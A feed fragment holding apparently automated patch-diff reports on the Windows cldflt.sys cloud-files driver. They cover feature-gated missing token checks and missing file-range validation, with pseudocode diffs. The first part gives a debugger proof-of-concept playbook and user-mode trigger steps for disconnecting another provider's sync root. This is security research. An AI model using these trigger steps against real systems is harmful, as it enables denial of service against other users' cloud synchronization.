&lt;li&gt;&lt;strong&gt;What it provides:&lt;/strong&gt; On the feature-disabled unpatched path, the ability to disconnect a cloud sync-root entry keyed by an attacker-supplied identifier on a per-volume sync-root table shared across connections, without proving knowledge of the stored token. A caller who knows only the sync-root key can tear down another sync provider's root.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Next steps for exploit:&lt;/strong&gt; Enumerate or predict the sync-root key of a target provider on the same volume and issue the disconnect operation, forcing the provider into an inconsistent/disconnected state (denial of service against cloud synchronization).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations:&lt;/strong&gt; Traditional kernel exploit mitigations (SMEP, SMAP, kASLR) do not apply to this logic issue. Reachability depends on &lt;code&gt;Feature_565656888&lt;/code&gt; being disabled; the patched binary removes the unvalidated path.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Secondary: Per-Connection Raw Insert&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;What it provides:&lt;/strong&gt; On the feature-disabled register path, a raw delete+insert into the per-connection sync-root table (&lt;code&gt;a1+104&lt;/code&gt;) with no owner/token check. Because that table is bound to a single sync-provider process (&lt;code&gt;a1+80&lt;/code&gt;), the effect is intra-connection state integrity rather than a cross-process overwrite.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Attach a kernel debugger to the unpatched system to observe the feature-gated paths.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp cldflt_unpatched!sub_1c0060514                    ; CldiPortProcessServiceCommands (dispatcher)
bp cldflt_unpatched!sub_1c00097a4                    ; Feature_565656888__private_IsEnabledDeviceUsage
bp cldflt_unpatched!sub_1c0060514+0x1167             ; 0x1c006167b raw RtlInsertElementGenericTableAvl
bp cldflt_unpatched!sub_1c00630e8                    ; CldSyncDisconnectRootDeprecated (no token check)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CldiPortProcessServiceCommands&lt;/code&gt; (&lt;code&gt;sub_1c0060514&lt;/code&gt;)&lt;/strong&gt;: &lt;code&gt;RCX = arg1&lt;/code&gt; (connection context), &lt;code&gt;DX = arg2&lt;/code&gt; (operation type), &lt;code&gt;R8 = arg3&lt;/code&gt; (input buffer), &lt;code&gt;R9D = arg4&lt;/code&gt; (input length).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1c00097a4&lt;/code&gt;)&lt;/strong&gt;: reads &lt;code&gt;data_1c0024780&lt;/code&gt;, tests bit &lt;code&gt;0x10&lt;/code&gt;, returns the feature-enabled bit; the return value selects the validated vs. legacy branch.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;0x1c006167b&lt;/code&gt;&lt;/strong&gt;: the raw &lt;code&gt;RtlInsertElementGenericTableAvl&lt;/code&gt; taken on the disabled register path (&lt;code&gt;RCX = [rbx+68h]&lt;/code&gt; = &lt;code&gt;a1+104&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CldSyncDisconnectRootDeprecated&lt;/code&gt; (&lt;code&gt;sub_1c00630e8&lt;/code&gt;)&lt;/strong&gt;: reached on the disabled disconnect path; note it takes no token argument and calls &lt;code&gt;CldSyncDisconnectRootByObject&lt;/code&gt; on the entry found by key.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Memory &amp;amp; Register Inspection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;At &lt;code&gt;0x1c0061605&lt;/code&gt;: step over the feature call. If &lt;code&gt;EAX == 0&lt;/code&gt;, execution reaches &lt;code&gt;0x1c006167b&lt;/code&gt; and inserts into the per-connection sync-root table without an owner/token check.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1c006187a&lt;/code&gt;: step over the feature call. If &lt;code&gt;EAX == 0&lt;/code&gt;, execution reaches &lt;code&gt;CldSyncDisconnectRootDeprecated&lt;/code&gt; (&lt;code&gt;0x1c006189d&lt;/code&gt;) and disconnects the sync root by key with no token check.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Trigger Setup (User Mode)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Open a handle to the port:
   &lt;code&gt;c
   HANDLE hPort;
   FilterConnectCommunicationPort(L"\\CLDMSGPORT", 0, NULL, 0, NULL, &amp;amp;hPort);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Craft a &lt;code&gt;FilterSendMessage&lt;/code&gt; payload for the sync-root register or disconnect operation with a valid &lt;code&gt;SrIn&lt;/code&gt; structure (magic &lt;code&gt;0x6E497253&lt;/code&gt;, declared size &lt;code&gt;&amp;gt;= 0x18&lt;/code&gt;) and a target sync-root key.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Expected Observation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;On the feature-disabled unpatched path, the disconnect operation reaches &lt;code&gt;CldSyncDisconnectRootDeprecated&lt;/code&gt; and tears down the sync root matching the supplied key without a token check. On the patched binary, the same input flows through &lt;code&gt;CldSyncDisconnectRoot&lt;/code&gt;, which rejects a token mismatch with &lt;code&gt;STATUS_CLOUD_FILE_NOT_SUPPORTED&lt;/code&gt; (&lt;code&gt;0xC000CF0B&lt;/code&gt;); the register path flows through &lt;code&gt;CldiPortInsertSyncRootNoLock&lt;/code&gt;, which rejects an owner/token mismatch with &lt;code&gt;STATUS_CLOUD_FILE_NOT_IN_SYNC&lt;/code&gt; (&lt;code&gt;0xC000CF09&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions - Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1C00097A4&lt;/code&gt;) (Feature-Staging Toggle):&lt;/strong&gt; Similarity &lt;code&gt;0.123&lt;/code&gt;. A WIL feature-staging check present in both binaries; in the patched binary a different feature occupies the slot (&lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage&lt;/code&gt;), which accounts for the low similarity. Not itself a security rewrite; it is the gate removed from its callers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CldSyncConnectRoot&lt;/code&gt; (&lt;code&gt;sub_1C0062CC0&lt;/code&gt;) (Behavioral, not security-relevant):&lt;/strong&gt; Similarity &lt;code&gt;0.8198&lt;/code&gt;. Patched (&lt;code&gt;0x1C0062BD0&lt;/code&gt;) removes the &lt;code&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/code&gt; call. Both unpatched branches already validate the owner field at &lt;code&gt;+0x60&lt;/code&gt; and the token at &lt;code&gt;+0&lt;/code&gt; and reject a mismatch with &lt;code&gt;STATUS_CLOUD_FILE_NOT_IN_SYNC&lt;/code&gt;; the change is a branch-ordering refactor with no authorization difference.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CldiPortProcessServiceCommands&lt;/code&gt; (&lt;code&gt;sub_1C0060514&lt;/code&gt;) (Security Relevant):&lt;/strong&gt; Similarity &lt;code&gt;0.9655&lt;/code&gt;. Patched (&lt;code&gt;0x1C00604E4&lt;/code&gt;) removes the feature gate around sync-root disconnect and insert: always calls &lt;code&gt;CldSyncDisconnectRoot&lt;/code&gt; (token-checked) instead of &lt;code&gt;CldSyncDisconnectRootDeprecated&lt;/code&gt;, and &lt;code&gt;CldiPortInsertSyncRootNoLock&lt;/code&gt; (owner/token-validated) instead of the raw &lt;code&gt;RtlInsertElementGenericTableAvl&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;HsmiOpUpdatePlaceholderFile&lt;/code&gt; (&lt;code&gt;sub_1C007B554&lt;/code&gt;) (Behavioral):&lt;/strong&gt; Similarity &lt;code&gt;0.9892&lt;/code&gt;. Removed a &lt;code&gt;Feature_2400225592__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1C0019FB0&lt;/code&gt;) call from an &lt;code&gt;if&lt;/code&gt; condition; helper addresses shifted (relocation). Feature-staging churn, not a security fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;HsmiGrantLockRequest&lt;/code&gt; (&lt;code&gt;sub_1C0047F10&lt;/code&gt;) (Behavioral):&lt;/strong&gt; Similarity &lt;code&gt;0.9306&lt;/code&gt;. Changed an allocation growth strategy behind a &lt;code&gt;Feature_98338106__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1C00163B8&lt;/code&gt;) check; helper addresses shifted. Not security-relevant.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CldSyncSendHydrationRequest&lt;/code&gt; (&lt;code&gt;sub_1C00644D4&lt;/code&gt;) (Cosmetic):&lt;/strong&gt; Similarity &lt;code&gt;0.9927&lt;/code&gt;. Branch target adjustments due to relocation; logic unchanged.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; None.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; None.
&lt;em&gt;(Both &lt;code&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1C00097A4&lt;/code&gt;) and &lt;code&gt;CldiPortInsertSyncRootNoLock&lt;/code&gt; (&lt;code&gt;sub_1C005DDB4&lt;/code&gt; unpatched / &lt;code&gt;sub_1C005DD94&lt;/code&gt; patched) exist in both binaries. &lt;code&gt;CldSyncDisconnectRootDeprecated&lt;/code&gt; (&lt;code&gt;sub_1C00630E8&lt;/code&gt;) remains present in the patched binary but is no longer called by the dispatcher.)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High for the mechanism. The decompilation and disassembly of both binaries show the feature-gated legacy paths - &lt;code&gt;CldSyncDisconnectRootDeprecated&lt;/code&gt; (no token check) and the raw &lt;code&gt;RtlInsertElementGenericTableAvl&lt;/code&gt; at &lt;code&gt;0x1c006167b&lt;/code&gt; (no owner/token check) - present in the unpatched dispatcher and absent in the patched dispatcher, which always calls the token-checked &lt;code&gt;CldSyncDisconnectRoot&lt;/code&gt; and the owner/token-validating &lt;code&gt;CldiPortInsertSyncRootNoLock&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; The &lt;code&gt;\CLDMSGPORT&lt;/code&gt; security descriptor is built from SDDL &lt;code&gt;D:P(A;;GA;;;AU)&lt;/code&gt; in the driver, so any authenticated user can reach the dispatcher. The authorization gap is exercised only on builds where &lt;code&gt;Feature_565656888&lt;/code&gt; is disabled.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium. The demonstrable impact is local integrity/denial of service against cloud sync-root state (a caller can disconnect another provider's sync root without a token, or overwrite per-connection sync-root state without an owner/token check). There is no memory-corruption, information-disclosure, or elevation-to-SYSTEM primitive here, and the exposure is contingent on the feature being disabled.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verification Required:&lt;/strong&gt; A researcher writing a PoC must map the internal sync-root key/token layout to the &lt;code&gt;SrIn&lt;/code&gt; message format to reach the register/disconnect operations via &lt;code&gt;FilterSendMessage&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>cldflt.sys — Missing sign/bounds/overflow validation of file-range values on cloud-files control paths (CWE-20) made unconditional; fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/cldflt_86e404ec-cldflt-report-20260628-224026.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/cldflt_86e404ec-cldflt-report-20260628-224026.html</id><summary type="html">&lt;p&gt;KB5094127&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cldflt_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cldflt_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.9917&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;1010&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;1007&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched → patched)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; Three validation checks (sign / bounds / integer-overflow) on caller-influenced file-range values were gated behind the WIL feature-staging predicate &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage&lt;/code&gt; (at &lt;code&gt;0x1C00097F8&lt;/code&gt; in the unpatched build). While that feature is not enabled, C short-circuit evaluation skips each check. The patch deletes the predicate from the binary entirely and makes all three checks unconditional (no legacy branch is retained), so this is a delivered fix, not a staged rollout. The reachable impact is limited to passing an unvalidated negative/oversized/overflowing file offset or length into internal range bookkeeping, a file-zeroing FSCTL, and the cloud-files transfer handlers; no memory-corruption primitive is demonstrable from the binaries.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;p&gt;All three findings share one root cause: a security-relevant validation is placed under the control of &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;0x1C00097F8&lt;/code&gt;), a WIL feature-staging predicate. In the unpatched build the predicate returns the feature's current state; when the feature is not enabled the guarded validation does not run. The patch removes the predicate (its slot at &lt;code&gt;0x1C00097F8&lt;/code&gt; is occupied by an unrelated helper in the patched build) and runs each validation unconditionally.&lt;/p&gt;
&lt;p&gt;Note: &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage&lt;/code&gt; reads the cached WIL feature-enabled state (&lt;code&gt;WPP_MAIN_CB.Dpc.DeferredContext&lt;/code&gt;, bit &lt;code&gt;0x10&lt;/code&gt; selects the cached value in bit &lt;code&gt;0&lt;/code&gt;) and otherwise falls back to &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledFallback&lt;/code&gt; → &lt;code&gt;wil_details_IsEnabledFallback&lt;/code&gt;. This is feature staging, not ETW/WPP tracing.&lt;/p&gt;
&lt;h3&gt;Finding A - &lt;code&gt;HsmiOpDehydrateNotificationCallback (0x1C007A2A0)&lt;/code&gt; (MEDIUM, primary)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Missing sign/bounds validation of a file-range offset (CWE-20: Improper Input Validation; CWE-670: Always-Incorrect Control Flow Implementation)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; Pre-operation callback registered for the cloud-files dehydrate operation (via &lt;code&gt;HsmpCldNotifyPreOperation&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; The checked value is loaded at &lt;code&gt;0x1C007A2FB&lt;/code&gt; (&lt;code&gt;mov rcx, [r15+10h]&lt;/code&gt;) from the dehydrate parameters block (&lt;code&gt;Parameters + 0x10&lt;/code&gt;, decompiled as &lt;code&gt;v79 = *((_QWORD *)Parameters + 2)&lt;/code&gt;). This is the start offset of the file range being dehydrated, taken from the HSM control message, not the create &lt;code&gt;AllocationSize&lt;/code&gt;. The strict check &lt;code&gt;if (v79 &amp;lt; 0 || v79 &amp;gt; v32)&lt;/code&gt; (where &lt;code&gt;v32&lt;/code&gt; is the stream size) is placed inside &lt;code&gt;if (Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage() != 0)&lt;/code&gt;. When the feature is not enabled, execution falls through to only &lt;code&gt;else if (v79 &amp;gt; v32)&lt;/code&gt; - a signed comparison that a negative offset passes (&lt;code&gt;negative &amp;lt; positive&lt;/code&gt;). A negative or oversized offset then flows into:
- &lt;code&gt;v80 = v79 + *((_QWORD *)Parameters + 3)&lt;/code&gt; (range end = offset + length), used later only in size comparisons and masking (it is not dereferenced as a pointer),
- alignment math &lt;code&gt;v39 = v79 - 1&lt;/code&gt; and a size argument to &lt;code&gt;HsmiMarkFileRangeNoLock (0x1C0052BD8)&lt;/code&gt; (internal file-range bookkeeping, pool tags &lt;code&gt;0x4244&lt;/code&gt;/&lt;code&gt;0x4256&lt;/code&gt;),
- the &lt;code&gt;FILE_ZERO_DATA_INFORMATION&lt;/code&gt; offset passed to &lt;code&gt;FltFsControlFile(..., 0x980C8 /* FSCTL_SET_ZERO_DATA */, &amp;amp;InputBuffer, 0x10, ...)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The patch makes the check unconditional: &lt;code&gt;if (v82 &amp;lt; 0 || v82 &amp;gt; v32)&lt;/code&gt; rejects out-of-range offsets with &lt;code&gt;0xC000CF0B&lt;/code&gt; before any of the above.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry point &amp;amp; call chain:&lt;/strong&gt;
1. A caller issues &lt;code&gt;IRP_MJ_FILE_SYSTEM_CONTROL&lt;/code&gt; with an HSM control code (e.g. &lt;code&gt;0x9043C&lt;/code&gt;) carrying a dehydrate request for a cloud-backed file.
2. &lt;code&gt;HsmFltPreFILE_SYSTEM_CONTROL (0x1C0076D40)&lt;/code&gt; dispatches it (&lt;code&gt;Iopb-&amp;gt;MajorFunction == 13&lt;/code&gt;).
3. → &lt;code&gt;HsmFltProcessHSMControl (0x1C002FE70)&lt;/code&gt;
4. → &lt;code&gt;HsmFltProcessDehydrate (0x1C0078674)&lt;/code&gt;, which registers the callback via &lt;code&gt;HsmpCldNotifyPreOperation (0x1C0038910)&lt;/code&gt;.
5. → &lt;code&gt;HsmiOpDehydrateNotificationCallback (0x1C007A2A0)&lt;/code&gt;, where the range offset is validated.&lt;/p&gt;
&lt;h3&gt;Finding B - &lt;code&gt;CldiPortProcessTransfer (0x1C0062258)&lt;/code&gt; (MEDIUM)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Missing sign + integer-overflow validation (CWE-190: Integer Overflow; CWE-20)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; Dispatcher for transfer messages (&lt;code&gt;0x101&lt;/code&gt;–&lt;code&gt;0x106&lt;/code&gt;) on the Cloud Files communication port.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; The reject condition is &lt;code&gt;if (Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage() != 0 &amp;amp;&amp;amp; (v16 &amp;lt; 0 || (v26 != -1 &amp;amp;&amp;amp; (v26 &amp;lt; 0 || v26 &amp;gt; 0x7FFFFFFFFFFFFFFF - v16))))&lt;/code&gt;. This is a short-circuit AND on the &lt;em&gt;reject&lt;/em&gt; branch: when the feature is not enabled the left operand is &lt;code&gt;0&lt;/code&gt;, the reject branch is skipped, and the dispatcher proceeds to the transfer handlers without validating the sizes/offsets &lt;code&gt;v16&lt;/code&gt; (r14) and &lt;code&gt;v26&lt;/code&gt; (rdi). &lt;code&gt;v16&lt;/code&gt; and &lt;code&gt;v26&lt;/code&gt; are parsed from the transfer message; &lt;code&gt;v26&lt;/code&gt; is read from the message body (&lt;code&gt;*(_QWORD *)(v24 + v8)&lt;/code&gt;) after header validation. &lt;code&gt;WPP_SF_qiiDiid (0x1C0009D20)&lt;/code&gt; / &lt;code&gt;WPP_SF_qiiDqDd (0x1C0009DCC)&lt;/code&gt; are WPP software-trace helpers on the error branch, not memory-copy routines. The patch removes the feature operand so the sign+overflow check always runs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry point &amp;amp; call chain:&lt;/strong&gt;
1. A client of the cloud-files communication port sends a transfer message with code &lt;code&gt;0x101&lt;/code&gt;–&lt;code&gt;0x106&lt;/code&gt;.
2. → &lt;code&gt;CldiPortProcessTransfer (0x1C0062258)&lt;/code&gt;.
3. → the matching handler (&lt;code&gt;CldiPortProcessTransferData&lt;/code&gt; / &lt;code&gt;CldiPortProcessAckData&lt;/code&gt; / &lt;code&gt;CldiPortProcessRetrieveData&lt;/code&gt; / &lt;code&gt;CldiPortProcessRestartHydration&lt;/code&gt; / &lt;code&gt;CldiPortProcessTransferPlaceholders&lt;/code&gt; / &lt;code&gt;CldiPortProcessReportProgress&lt;/code&gt;) with &lt;code&gt;v16&lt;/code&gt; / &lt;code&gt;v26&lt;/code&gt; as offset/length arguments.&lt;/p&gt;
&lt;h3&gt;Finding C - &lt;code&gt;HsmiOpUpdatePlaceholderFile (0x1C007BD14)&lt;/code&gt; (LOW)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Missing sign check on a computed file offset (CWE-20)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; Placeholder-update handler.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; In a loop over the update range list, the code computes an aligned file offset &lt;code&gt;v64&lt;/code&gt; and then applies &lt;code&gt;if (Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage() != 0 &amp;amp;&amp;amp; v64 &amp;lt; 0)&lt;/code&gt;. Short-circuit AND means the &lt;code&gt;v64 &amp;lt; 0&lt;/code&gt; check is skipped when the feature is not enabled, and &lt;code&gt;v64&lt;/code&gt; flows into &lt;code&gt;HsmiMarkFileRangeNoLock (0x1C0052BD8)&lt;/code&gt; (pool tag &lt;code&gt;0x4244&lt;/code&gt;) as the range offset. The patch collapses the condition to &lt;code&gt;if (v64 &amp;lt; 0)&lt;/code&gt;. Because &lt;code&gt;v64&lt;/code&gt; is a page-aligned value derived from the update entries, a negative result is an edge case, which is why this is rated Low.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding A - &lt;code&gt;HsmiOpDehydrateNotificationCallback&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED (0x1C007A2A0) =====&lt;/span&gt;
&lt;span class="n"&gt;v79&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// dehydrate range start offset (Parameters+0x10)&lt;/span&gt;
&lt;span class="n"&gt;v80&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v79&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// range end = offset + length&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// *** FEATURE GATE ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v79&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v79&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// strict check: negative OR &amp;gt; stream size&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;InformationFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000CF0B&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;//   (skipped when feature not enabled)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
